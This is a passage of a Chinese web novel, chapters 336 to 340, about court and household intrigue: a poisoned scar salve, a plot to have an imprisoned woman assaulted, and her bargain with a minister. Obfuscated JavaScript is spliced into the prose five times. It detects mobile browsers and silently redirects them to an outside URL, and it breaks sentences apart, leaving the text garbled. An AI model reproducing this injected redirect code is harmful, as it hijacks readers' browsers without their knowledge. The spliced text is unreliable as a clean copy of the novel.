卢诗音**已有一段时日,其毒性已然很深,能否彻底清除,她的确没有十足把握。 卢诗音听了这话,心头又是一紧。 “你定要把我的毒解了,不然,我饶不了你!” 以往的蒋南笙,她轻易动不得,但现在的蒋南笙,不过是一只蝼蚁,她动动手指头就能捏碎。 蒋南笙低头,心中并无畏惧。 对方想动她,没有那么容易。 蒋南笙不卑不亢,“若夫人依旧日日接触到**,民女便是给您开再好的药也无济于事。” 卢诗音又立马命人把自己用的胭脂水粉和熏香等物全都送了来,甚至贴身的里衣等也都送来,交给蒋南笙一一查验。 蒋南笙检查之后,摇头否认,“这些东西都没问题,夫人**的源头在旁处。” 卢诗音顿时更加暴躁。 那毒物究竟在何处? 一日不寻出那东西来,卢诗音就一日不得安宁。 她甚至开始疑神疑鬼起来,是不是她的丫鬟背叛了她?所以趁机把那毒物销毁了? 对上她那充满探究和怀疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572376|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光,几名心腹丫鬟一阵瑟瑟发抖。 她们都了解自己的主子,知道她多疑又暴戾的品性,回去之后,她们只怕没有好日子过了。 蒋南笙出了厢房,林铮就在外头候着她。 见她安然无恙,林铮才松了口气。 出了客栈,蒋南笙对林铮道:“阿铮,你帮我办一件事。” 她对林铮耳语一番,后者点头,很快隐匿身形,待卢诗音主仆从茶楼离开后,他飞快跟了上去。 蒋南笙想确认一番自己的猜测,看看对方是否当真是自己猜到的那人。 小半个时辰,林铮回来了。 “马车进了吴王府。” 蒋南笙闻言,了然地点了点头。 果然不出所料。 看来,吴王府的内宅也不太平啊。 内宅不稳,必定会影响吴王在前朝的谋划。 当初她遇险,险些丢了性命,十有**是吴王派人所为,眼下有这么好的一次搅乱他内宅的机会,蒋南笙岂会放过? 她下意识想要去瑾王府,与萧晏辞商议。 但转念一想,内宅之事,还是与陆知苒商议更合适,而且她现在恢复了女儿身,也的确不好再如先前那般行事了。 蒋南笙让人给陆知苒递了拜帖,翌日便登了陆府的门。 陆知苒有预感,蒋南笙多半是为正事而来。 果然,蒋南笙开门见山,直接道出了事情原委。 “我对自己的诊断有把握,卢诗音会寻到我替她诊治,也必是心中十分焦急。我虽还没查出她**的源头,但我若想从中做局,她多半会入套。” 如何做局?无非便是动一些手脚,让卢诗音找到给她下毒的罪魁祸首。 最好是让吴王府内部的人互相斗起来,她们斗成了乌眼鸡,吴王定会焦头烂额,萧晏辞就能趁势追击了。 陆知苒闻言,笑了。 “南笙,你这个消息可真是送对人了。这件事,我刚巧知道几分内情。” 蒋南笙神色一凛,做出一副洗耳恭听的模样。 陆知苒便将事情的来龙去脉一一道来,蒋南笙听罢,眸色一深。 “又是赵书宁所为!” 第336章 谁下的毒 赵书宁实在是一而再,再而三地刷新她的认知。 她为达目的,真的可以不择手段。 虽有医术,却毫无医德,蒋南笙对此十分看不上。 陆知苒道:“好在她马上就要被处斩了,不然留在世间,当真是祸害无穷。” 蒋南笙的眼底闪过一抹异色,“她一时半会儿还死不了。” 陆知苒心头微微一跳,脑中飞快地闪过一个猜测。 “是因为那蛊虫之事?” 蒋南笙点头,“没错,皇上想从她的口中问出蛊虫的来源,皇上将此事交给了我。” 她去见过赵书宁一次,但对方完全不开口,蒋南笙一时也束手无策。 陆知苒的眉头不禁蹙了起来,心中隐约不安。 赵书宁着实有些邪性在身上,哪怕是一场死局,到最后,说不定也能被她盘活了。 这是陆知苒绝不想看到的。 “若她**,你却没能问出蛊虫的来源,皇上是否会降罪?” 蒋南笙沉吟一番开口,“我上次去见她时就知道,我不可能撬开她的嘴,她嘴里说出来的话,也不可取信,所以我并不打算再在她的身上下功夫,她是死是活,于我影响不大。” 言外之意,你想动手弄死她,尽管动手,无须顾忌。 陆知苒松了口气,又问,“那你打算怎么向皇上交差?” “我会亲自往南边去一趟。皇上想要的答案,我靠自己,也能找到。” 蒋南笙还没有涉足过滇南和黔南一带,她也一直很想去看看。 而今,有机会了。 陆知苒听了她的这话,也没有太过意外。 这件事,或许也只有她能做到。 “打算什么时候走?” “待我把蒋家的女眷安顿好,立刻便出发。” 早一日去,也能早一日完成差事。 若她能在这件事上立下功劳,她便向德丰帝求一个恩典:立女户。 这是她的愿景。 她歉意地看着陆知苒,“我恐怕没法参加你与阿辞的婚礼了,实在抱歉。” 陆知苒无奈笑道:“我倒是没什么,宝珠若知道了,怕是又要哭一场。” 蒋南笙的眸底也染上了不舍。 “我会与她好好道别的。” 蒋南笙把话头重新拉了回来,“卢诗音那边,需要我推一把吗?” 陆知苒问,“她今日没有把那膏药拿给你查验?” 蒋南笙摇头,“没有,若是有的话,我定第一时间就能发现端倪。” “只怕那膏药她早就用完了。” 膏药用完了,自然就没了证据,蒋南笙也没有契机主动提起,不然反倒落得个挑拨离间的嫌疑,赵书宁也定不会承认。 蒋南笙也想到了这一层。 陆知苒脑中飞快转了一圈,最后想到了一人,“或许,我们可以借用那人之口戳破此事。” 陆知苒低声耳语一番,蒋南笙听罢,缓缓点头。 此法可行。 卢诗音回到吴王府之后,果然开始疑神疑鬼起来。 她觉得自己身边的每个人都有害自己的嫌疑,对她们狠狠责罚了一通。 打骂过后,问题依旧没有解决。 究竟是谁给她下的毒? 她在脑海中把所有人都过了个遍,却没有想到赵书宁身上。 她先入为主地以为自己是嫁入吴王府之后才被人下的毒,压根没往婚前的时候追溯。 就这么疑神疑鬼地过了几日,吴王府来了一位不速之客。 是四公主萧婉贞,也是卢诗音的三嫂。 上次假孕之事,萧婉贞被赵书宁摆了一道,不仅被褫夺了公主封号,还被禁足了半年。 现在,她恢复了自由,但却极少出门走动了。 而今她突然登吴王府的门,卢诗音很惊讶,心中虽不耐烦,却不得不打起精神招待。 姑嫂二人再次碰面,都被对方的状态惊到了。 两个人都敷着厚厚的脂粉,却遮不住满脸的沧桑与憔悴。 萧婉贞牵动唇角笑了笑,“看来妹妹在王府过得不怎么顺心啊。” 卢诗音被刺得心口一痛,反唇相讥,“嫂嫂看上去也没比我好多少,被禁足的日子不好过吧。” 萧婉贞的面皮微微抖了抖,怒意被她硬生生压了下去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572377|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“我今日来,不是来与你掐架的,是有正事。” 卢诗音依旧一副漫不经心的态度,“有何贵干?” 萧晏清对这个姐姐的态度变得十分冷淡,卢诗音对她也大不如以往恭敬。 萧婉贞朝她的肚子上瞟了一眼。 “听说,两个侧妃都怀了身孕,你却半点动静都没有,妹妹心里只怕也很着急吧?” 卢诗音脸色大变,整个人立马变成了刺猬,浑身都竖起了刺。 “那两个侧妃怀的是男是女还不一定,我有什么可着急的?但我三哥的儿子都快四岁了,嫂嫂与其有时间插手我的事,不如先管好自己吧!” 萧婉贞的脸色也变了变,眼底怒意汹涌。 她冷笑一声,“我只是生不出儿子,但我好歹有兰姐儿傍身。但是你,被人算计成了个不下蛋的母鸡都不自知。” 她之所以得知这桩消息,是有人偷偷给她传信。 萧婉贞将信将疑,但还是决定上门试探一番。 卢诗音闻言再次面色大变,似被人踩了尾巴似的跳了起来。 “你胡说什么?” 旋即她又似反应了过来,满脸怒意地质问,“我知道了,是你,是你给我下的毒,对不对?你这个毒妇!” 见她这番反应,萧婉贞便知,此事果是真的,卢诗音真的被下了毒,而她自己也察觉了此事。 “有没有长脑子?此事若是我做的,我怎会那么傻,主动自曝其短?” 卢诗音被她噎住,半晌才硬邦邦地道,“若不是你所为,你如何知道此事?” 萧婉贞面色冷淡,“这你无需知道。你只需告诉我,你想不想知道是谁给你下的毒?” 卢诗音急切道,“我当然想知道!” 她若是知道是谁做的,定要将其挫骨扬灰! 萧婉贞的眸底也透出冷意,咬牙切齿地从齿缝吐出一个名字。 “赵书宁!” 卢诗音愣住,“怎会是她?” “怎么不会是她?当初,她能不择手段地在我身上用药,博取我的信任,也同样可以在你身上如法炮制。有些人,本性难改。” 第337章 让她生不如死 卢诗音惊疑不定,“可她又没给我看过病……” 话说了一半,她就顿住了,下意识地摸向了自己的脸。 当初她被萧婉贞误伤,脸上划出一道伤疤,御医也束手无策,是赵书宁给了她一个药膏,据说是师门独家秘制,她用了之后的确效果显著,现在,她脸上的伤疤已然恢复如初。 难道,是那瓶药的问题? 那日蒋南笙说,她所中的青金之毒,有美容养颜的功效,与那膏药的功效正好对上了,她的心顿时凉了半截。 萧婉贞语气幽幽,“现在想起来了?问题就出在她给你的那瓶药上,那药虽能修复伤疤,却会对人的身体造成巨大反噬,你的不孕之症便是由此而来。” 卢诗音的脑子嗡嗡地响着,又惊又怒。 亏得她先前,还一直在感激赵书宁治好了自己脸上的伤,甚至还动过心思,想让赵书宁再给自己看看不孕之症。 却原来,赵书宁才是这一切的罪魁祸首! 这简直是对她最大的侮辱! “你,你有什么证据?” “她给你的药膏就是最大的证据。你把药膏拿出来,请大夫检验一番,自然就知道真假了。” 卢诗音脸色难看,“我的药膏,已经用完了。” 当初,为了赶在成婚前把伤疤修复好,她用了很大的分量,所有药膏都没了。 萧婉贞蹙眉,“那装过膏药的瓷瓶呢?若瓷瓶还在,医术高超的大夫应当也能诊断出来。” “瓷瓶也早就扔了。” 一个破瓷瓶,她留着做什么? 这时,她的丫鬟小声提醒,“王妃,您先前给忠勇伯府的少夫人送去了一小瓶,兴许她那里还有没用完的。” 经她一提醒,卢诗音便想起来了。 忠勇伯府的少夫人柴如月是她的闺中密友,她手臂上有一道旧疤,得知卢诗音脸上的伤疤痊愈了,便向卢诗音讨要了一小瓶药膏。 卢诗音当即命人去忠勇伯府跑一趟,若取到了膏药,就去寻蒋南笙,让她查验那膏药的成分。 她不相信御医的医术。 等待的过程充满煎熬,卢诗音的手心都冒出了细汗。 小半个时辰后,丫鬟终于回来了。 “王妃,忠勇伯府少夫人的膏药没有用完,奴婢奉命拿去给蒋小姐验看,她说,问题,就出在这膏药上……” 丫鬟拿出了一个药方,是蒋南笙推断出来的方子,其中一味铅粉被她着重圈了出来。 这个结果,彻底击碎了卢诗音心中最后一丝幻想,心中的恨意与愤怒几乎将她淹没。 卢诗音此时方想起,当初她刚受伤时,萧宝珠便提醒她,赵书宁的药不可用,可她却失了智般,完全听不进去。 而今,心中只余满腔的懊悔。 萧婉贞看着她,脸上露出一抹有些同情,又有些快意的神色。 她在赵书宁身上栽了大跟头,心中恨极了那女人,同时也恨其他人,恨大家相信赵书宁而不相信她。 现在,有人与她一样,也被赵书宁坑害了,栽了一个更大的跟头,萧婉贞心中便升起了一股诡异的平衡与快意。 卢诗音情绪本就在崩溃边缘,再看到萧婉贞神色间那抹隐约的幸灾乐祸,她心中那根弦瞬间绷断了。 “都怪你!一切都是你的错!当初若不是你把我推倒,我的脸怎么会受伤?又怎么可能中了赵书宁的毒?” “赵书宁也是你的人,是你让她来给我看伤的,这一切说不定都是你指使的!你自己生不出,便也要害我子嗣艰难,你简直蛇蝎心肠!” 卢诗音彻底崩溃,便开始疯狂攀咬,甚至直接上手推搡撕扯,想要把萧婉贞的脸也抓破。 萧婉贞没料到她如此发疯,只能慌忙自保。 双方的丫鬟急忙上前阻拦,好容易才把二人分开。 萧婉贞手脸上都被抓出几道抓痕,好在没有见血。 她气急败坏,“你个蠢货,我方才便说了,若真是我做的,我怎么可能特意来告诉你真相?我把这件事捂得严严实实的还来不及!你如此愚蠢,合该被人算计!” 卢诗音的情绪依旧久久不能平复,“你会有这么好心,特意来提醒我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578097|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “我的确有私心,我恨赵书宁,我想要她生不如死!” 秋后问斩,对赵书宁来说反而是干脆的解脱,萧婉贞不甘心。 可是她的手伸不进监牢,她便是想对赵书宁千刀万剐,也无能为力。 直到有人告知了她这桩秘事,她立马就生出了借刀**的想法。 她做不到的事,卢诗音或许可以,因为她有一个疼爱她且颇有权势的父亲。 卢诗音锱铢必较,她若相信了自己的话,定然也会对赵书宁恨之入骨,定然比自己更希望赵书宁生不如死。 萧婉贞的脸上露出狰狞与癫狂,“赵书宁那**,受我提携,却胆敢背叛我,算计我,她该死!” “你难道不恨她吗?你是吴王妃,原本可以率先生下嫡长子,却因她之故,有可能这辈子都失去了做母亲的机会,你应当比我更恨她才对!” 卢诗音的呼吸添了几分急促,恨意在胸腔中疯狂汹涌。 萧婉贞继续激将,“你我的恩怨,可以之后再算,但当下,对付赵书宁才是我们共同的目标,秋后问斩对她来说太便宜了。如果你能咽得下这口气,就此放过她的话,那今日就当我没来过吧!” 说完她抬步就走。 卢诗音立马呵住她,“站住,谁说我要放过她?她敢对我下毒,我岂会放过她?” 萧婉贞听到了自己想听的答案,唇角微不可查地翘了翘。 她就知道,卢诗音定会上钩。 萧婉贞问,“你打算怎么对付她?” 卢诗音暴躁地在屋中来回踱步,“她敢跟我下毒,我自然要以其人之道还治其人之身,让她生不如死!” 世间能折磨人的**不知凡几,她寻了来,再下到赵书宁的饭菜里,叫她尝尝个中滋味。 萧婉贞听罢,却是摇头。 “你这法子,还是太轻了。” 卢诗音蹙眉看她,“那你说,还能如何?” 萧婉贞眼底闪过一抹恶毒,恶狠狠地说了句什么,卢诗音眸光一动,旋即也点了头。 “好,就依你说的办!” 第338章 指一条活路 刑部大牢。 这里终年不见日光,四壁渗出青黑色的霉斑,湿气裹着腐臭味直往人鼻孔里钻。墙角堆着霉烂的稻草,早被鼠辈啃得七零八落。 赵书宁穿着囚服,倚着墙壁,阖着双目养神,有蟑螂爬上她的脚背,她睁开眼睛,面不改色地抬脚碾死。 被关入大牢之后,她对这些已然麻木了。 此时的她,便如同这些蟑螂,别人抬抬脚就能碾死。 她是重犯,被单独关押着。 她苦中作乐地想,这也算是一种优待了吧。 心中到底还是不甘。 谁会想死呢?她也想活着,只要能活下去,一切才有希望。 可是,她的活路在哪里? 赵书宁重新阖上眼睛。 忽而,她听到了几道脚步声,似刻意放低了,透着几分鬼祟。 赵书宁本能地升起警觉。 她没有睁开眼睛,只是两只耳朵高高竖起,浑身也绷紧,充满防备。 牢门被打开,那几人蹑手蹑脚地朝她逼近。 “待会儿你们俩按着她,我先来。” “凭什么你先?” “就你那虚的样子,让你先来,也是白瞎。” “都闭嘴,谁先谁后不都一样,反正这娘儿们也逃不出咱们的手掌心。” 赵书宁的手狠狠握成了拳,心头那根弦绷到了极致。 她不傻,自然知道即将发生些什么。 她已经努力说服自己,人终有一死,没什么大不了的,但老天爷却不肯让她清清白白地死去。 不,不是老天爷,是她的那些仇敌们干的。 究竟是谁? 定是陆知苒,只有她这般恨自己。 自己便是再恶毒,也不会对女子用这样的手段。 而陆知苒自诩自己品性高洁,实际上,背地里却如此心思龌龊! 那三人慢慢靠近,就在对方要动手时,赵书宁猛地睁眼,抓了一把地上的稻草,朝他们脸上狠狠一扬。 三人没有防备,眼睛被糊了一把。 再反应过来,赵书宁已然起身往外冲,同时张口大喊救命。 但她到底是女子,又在牢里待了许久,体力不支,很快就被三人拽了回来,狠扇了一记耳光,又用力捂住她的嘴。 “臭娘儿们,还想跑,你跑得了吗?今晚,你便是喊破了喉咙也没人救你。” “快把她按住,赶紧办事。” “这么烈的娘儿们,尝起来定然别有一番滋味。” 赵书宁满心绝望,眼角终于有一滴眼泪滑落。 她难道就要遭受这样的**? 那她宁愿死! 正欲咬舌自我了断,忽而那压着她的男人身子一软,两眼一翻,竟直接倒了下去。 另外两人一愣,还没来得及查看究竟是怎么回事,后脑勺也被什么东西打了一下,跟着晕了过去。 赵书宁使出浑身的力气,把三人推开,又慌忙把自己的衣裳拢好。 她抬头看去,就见一个蒙面的黑衣人走了过来。 赵书宁惊魂未定,紧张地往后缩,“你,你是谁?” 那人淡声开口,“我是谁不要紧,你只需要知道,我是来救你的。” 赵书宁心中升起一股希望。 她有一个预感,这会是自己的救命稻草,她一定要抓住。 她立马跪下,朝对方叩首。 “多谢恩公救命之恩,请恩公示下,为民女指一条活路!” 她如此识时务,那黑衣人心中升起几分满意。 “我能给你指一条活路,但究竟能不能把握住,就看你自己了。你且听好了……” 赵书宁满脸虔诚,认真听着,每一个字都牢牢地记在了心里。 听罢,她的眼睛一点点慢慢变亮了。 那三个狱卒是被疼醒的。 手上的麻经突突地跳,半只手臂都疼得抬不起来。 而他们是怎么被打晕的,他们已经完全想不起来了。 “臭婆娘,你对我们做了什么?” 赵书宁满脸嫌恶地看着他们,“我不过是在你们的麻经上扎了几针罢了。你们若还胆敢对我动什么龌龊的心思,我的针可不长眼,若是不小心把你们扎得不能人道,可别怪我。” 昨晚,赵书宁很想把这几人杀了泄愤,但想到自己尚未解除困局,便只能暂时忍下了这口气。 她的这番小惩大诫,让那三人吃了些皮肉之苦,同时也生了几分忌惮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578098|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真邪门,他们昨夜到底是怎么被打晕的? 这臭娘儿们莫不是真的有几分本事? 手上的疼痛拉回了他们的神志,也让他们的色心被掐了个一干二净。 若这女人当真给他们扎了几针,叫他们就此不能人道,那他们后半辈子就完了。 这时到了交班的时间,三人便是想做什么也没了机会,只能狠狠剜了赵书宁一眼,骂骂咧咧地走了。 赵书宁绷紧的身子慢慢放松下去。 经此一事,他们应当不敢再来招惹自己。 但这只是暂时的,幕后之人既然存心想羞辱她,只怕不会轻易收手,一计不成,还会有下一计。 她必须为自己寻到庇佑。 不然,就只能人为刀俎我为鱼肉了。 衙役前来送饭,赵书宁开口,“我想见秦大人。” 她想见的,是刑部尚书秦中举。 他乃吴王心腹,赵书宁见到了他,才能为自己求得一线生机。 那衙役面露鄙夷,“你一个**犯,还想见秦大人?你以为秦大人是你想见就能见的吗?” 赵书宁又道:“你去告诉秦大人,有一个现成的立大功的机会,不知他想不想要。” 那衙役嗤笑出声,“你都自身难保了,还能为秦大人挣到立大功的机会?你若当真有这本事,不妨先把自己从牢里弄出来再说吧。” 说完,那衙役就要走。 赵书宁沉声,“我观你面青而黯,唇淡无华,双目无神,想来你有神躁不安,卧不得眠之症,若长此以往,只怕会损及根本。” 那衙役闻言愣住,旋即满脸惊疑不定地看向赵书宁。 他的确有失眠之症,且并非一日两日,是**病了。 即便是睡着了,也睡得浅,极小的动静都容易惊醒,醒了之后便很难再入眠。 他瞧了不少大夫,都不见好。 不曾想,竟被赵书宁一语道破。 赵书宁见他如此反应,便知自己猜对了,心中对此事已有了半成胜算。 那衙役一改方才鄙夷不屑的态度,语气中添了几分殷勤。 “我这病症,你可能治?” 赵书宁笃定点头,“能。” 第339章 种下怀疑的种子 “我这便给你写一张方子,保管你药到病除,但你需得帮我办成方才之事。” 那衙役的确饱受失眠之苦,一番权衡,当即就应下此事。 “但我只是一介小卒,此事我只能尽力一试,可不敢保证一定能请得动秦大人。” 赵书宁语气笃定,“你照着我的话说,秦大人定会来见我。” 他是吴王的人,最近吴王不得势,秦中举必然想找机会立功。 赵书宁对秦中举有几分了解,他不会放过任何一个可以榨取功劳的机会。 那衙役点头,转身匆匆离开。 赵书宁很快等到了想见的人。 秦中举立在牢门外,目光锐利地看着赵书宁。 他遣退了闲杂人,冷声问,“赵氏,你要见本官,还有什么话想说?” 赵书宁朝秦中举恭恭敬敬地跪了下去,开门见山地抛出话头,“臣女手中还有一个筹码,或能扳倒瑾王,助吴王一臂之力。” 此言一出,秦中举的面色不禁变了变,声音都下意识压低了。 “你有什么筹码?” 秦中举以为赵书宁要卖一卖关子,或趁机谈一谈条件,没想到她直接便和盘托出了。 听罢她的话,秦中举的面色不禁几番变化。 “此话当真?” 赵书宁语气笃定,“千真万确。” 实际上,她也不过是刚刚才那蒙面人的口中得知这桩秘闻罢了,但她却说得分外笃定。 不管此事是真是假,都要当成真的。 自己信了,才能说服旁人相信。 “你可有凭证?” 赵书宁迎着对方的目光,“我的供词便是凭证。” 秦中举面露嘲讽,“你的话还没有这么大的分量。” 赵书宁意味不明地笑了笑,“秦大人,我需要做的是勾起皇上的怀疑。怀疑的种子一旦种下了,就会慢慢生根,届时无须秦大人做什么,皇上自己就会派人去查证此事。” 秦中举心有疑虑,“若皇上查出此事是假的呢?” “若此事是假的,供词也是我说的,秦大人怕什么?” 赵书宁一副泰然神色,秦中举心头的疑虑不禁削减大半。 “此事,我会向皇上回禀。” 当然,回禀之前,他还要与吴王好生商议。 此事重大,他断不敢自作主张。 赵书宁这时才提出自己的请求,“民女告诉了秦大人这么一桩秘辛,还请秦大人设法保民女一条性命。” 秦中举眯着眼睛,“你所犯乃重罪,本官人微言轻,万没有这般通天的本事。” 他得了这桩消息,立马就翻脸不认账了。 赵书宁意味不明地笑了笑,“秦大人,我这里还有其他更加有用的消息,我若是**,这些秘密可就都要带进棺材里去了。到时候,耽误了吴王的大业,你担待得起吗?” 秦中举神色一怔,原本抬脚欲离开的动作也硬生生收了回来。 此女果然狡猾,早早就给自己留下了退路。 秦中举不得不重新审视她,“并非本官不想救你,而是本官的确没这能力。” 赵书宁的罪行已然昭告天下,秦中举哪有这本事帮她脱罪? “秦大人无须把我从狱中救出来,只需要让皇上暂且留我一命,延迟问斩时间即可。” 只要把时间往后拖延,待皇上亲自查证了那件事,她便能抛出第二张底牌,到时候,她就有一线生机了。 秦中举看着她运筹帷幄的神色,一番权衡,最终还是点了头。 此女颇有手段,留着她一条性命,或许日后还能为吴王所用。 秦中举转身欲走,赵书宁又道:“秦大人,昨夜有三名狱卒潜入我的牢房,欲对我行不轨之事。而今你我已是同盟,还请秦大人护我一护。” 秦中举听了这话,满脸震怒。 “本官定彻查此事!从今以后,本官也会派人严加看管,绝不会让类似之事重演。” 竟然有人把手都伸到他的地盘上来了,简直欺人太甚! 至此,赵书宁方松了口气。 自己对秦中举还有用处,他势必会派人护着自己,有人想借此糟践羞辱她,没那么简单。 当夜,秦中举便登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586421|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吴王府的门,向吴王萧晏清告知此事。 萧晏清的反应与秦中举如出一辙,先是不敢置信,旋即便是藏不住的激动与振奋。 “好,太好了,秦大人,你立马将此事上禀父皇!” 届时,他倒要看看,萧晏辞还怎么得意。 秦中举又提了赵书宁的请求,萧晏清一番沉吟,“赵书宁的确还有几分用处,姑且尽力保一保她。” 若她没了用处,到时候再放弃这颗棋子也不迟。 秦中举点头应是。 禀完此事,他又面露几分欲言又止之色。 萧晏清不悦,“秦大人有话便直说,这般吞吞吐吐做什么?” 秦中举低头回禀,“昨夜,有三名衙役潜入赵书宁的牢房,欲羞辱于她。微臣将其捉拿,严加审问,对方供出了幕后之人,微臣又顺藤摸瓜一番彻查,最后竟是查到了王妃的身上……” 方才二人那番谈话,秦中举可以推断,此事并非萧晏清授意,他一番斟酌,才决定将此事道出。 若不然,吴王妃再派人羞辱,甚至刺杀赵书宁,他夹在中间,只怕不知如何应对。 说到最后,秦中举的声音放轻了几分,更是一边偷觑着萧晏清的神色,揣摩他对此事的态度。 萧晏清闻言立马变了脸色,“此事当真?” 秦中举连忙道:“微臣不敢妄言。” 他到底在刑部多年,这点小事要追查起来轻而易举,不过一日就查了个一清二楚。 萧晏清大手狠狠在扶手上一拍,面色难看,“蠢货,竟敢擅作主张!” 说完又迁怒到秦中举的身上,“你是怎么管事的?刑部竟疏漏成了筛子,随随便便什么人都可以动手脚?” 秦中举立马低头领罪,“是微臣疏忽,微臣罪该万死。” 萧晏清沉声,“把人看好,此事未定之前,赵书宁不能出任何差池。” 秦中举连忙应是。 有了这话,秦中举就知道该怎么做了。 此事算是过了明路,若之后,吴王妃再派人来做什么手脚,他就没有什么好顾忌的了。 第340章 赵书宁的口供 卢诗音还在等着赵书宁受辱的好消息。 这时,卢诗音得知秦中举漏夜前来,行色匆匆,像是有什么大事,便以为是赵书宁出事了,当即心中大喜。 此事定是成了。 赵书宁一介女流,又被关在狱中,哪有反抗的余力?只能任人宰割。 “赵书宁啊赵书宁,不要怪我对你心狠手辣,实是你害我在先!我不过是以牙还牙罢了。” 她又摸了摸自己的肚子,再想到楚云清和李云裳都怀上了身孕,心头原本那点子同为女子的于心不忍也被恨意取代。 这时,小丫鬟入内回禀,“王妃,王爷来了。” 卢诗音脸上立马挂起了笑,身姿袅娜地迎了上去。 “殿下……” 但迎面而来的,却是萧晏清的一记耳光,卢诗音被打得身子趔趄,直接摔在了地上。 卢诗音捂着脸,满脸错愕地看着萧晏清。 “殿下,妾身做错了什么?您要如此对妾身?” “你做了什么,自己心里不清楚?敢把手伸到刑部去,谁给你的胆子!” 卢诗音原本满是委屈的面色一僵,一抹心虚一闪而过。 萧晏清见此,便愈发笃定,此事千真万确,当真是她所为,胸中怒火更甚。 “此事若被父皇知晓,本王也要受牵连,你想害死本王不成?” 幸而刑部是秦中举的地盘,此事也是被他查出,若是被萧晏辞的人查出来,他定要惹上一身腥。 卢诗音没想到此事这么快就被揭穿了,她不合时宜地想,事情定然已经办成了吧?若不然,也不会惊动了殿下。 卢诗音本欲哭诉自己所受的委屈,但话到了嘴边又咽了回去。 她不想让萧晏清知道自己不孕之事,不然,自己在他心中只怕更加无用了。 若一不小心传扬出去,她在王府就更毫无威势可言。 “妾身……” 她支支吾吾半晌,却说不出半个辩解。 萧晏清满脸嫌恶地警告,“你给我老老实实地在王府待着,若你再敢擅作主张,惹出什么乱子来,就别怪本王不客气!” 撂下狠话,他一甩袖,愤怒而去。 卢诗音捂着脸,满脸怨念不甘地看着他离开的背影。 原本萧晏清对她就不甚喜爱,经此一事,只怕更加厌恶。 一切都怪赵书宁,都是那个**害她! 而之后她得知,赵书宁没有被折辱的时候,更是气得暴跳,但那时,她已经拿赵书宁无可奈何了。 而先前萧婉贞传信之人,乃是陆知苒。 她利用萧婉贞告知卢诗音事情真相,再借卢诗音之手,除掉赵书宁。 此事若成,她再来一个螳螂捕蝉黄雀在后,派人揭穿真相,把祸水引到吴王萧晏清的身上。 如此,便是一箭双雕。 陆知苒将此计告诉萧晏辞,让他派人盯着刑部的动向。 但他们却没有等到预想中的好消息。 赵书宁平安无事。 他们原本的计划落空了。 陆知苒说不上失望,反而有种果然如此的感觉。 祸害遗千年,当真不假。 她眉头微蹙,“殿下,我近日总有些不安,刑部那头,还需多加几分戒备。” 萧晏辞伸手,将她紧皱的眉头抚平。 “此事自有本王操心,你只需安心待嫁即可。” 男人的指腹有些粗粝,触在她的眉心,带起些微酥麻。 二人婚事在即,本是不该见面,他却借着商议事情的由头悄悄来了。 方才陆知苒还一副公事公办的态度,谁料他直接上手,叫陆知苒耳根阵阵发热。 好在,他一触即离,非常克制。 话头也重新拉回正题。 “今日白日,秦中举拿了一份口供入宫面见父皇,那份口供上写了些什么,无人可知。但一定很重要。” 陆知苒问,“殿下能想法子探听一二吗?” “本**日去探探冯有才的口风。若是能说,他定会卖本王这个人情。” 若他不肯说,此事只怕就严重了。 “时间不早了,本王先走了,你早些休息。” 陆知苒轻轻点头,“嗯”了一声。 萧晏辞又多看了她几眼,这才翻窗离开。 此时他只觉时间过得太慢,若二人已成婚,他何至于需要如此辛苦地翻窗? 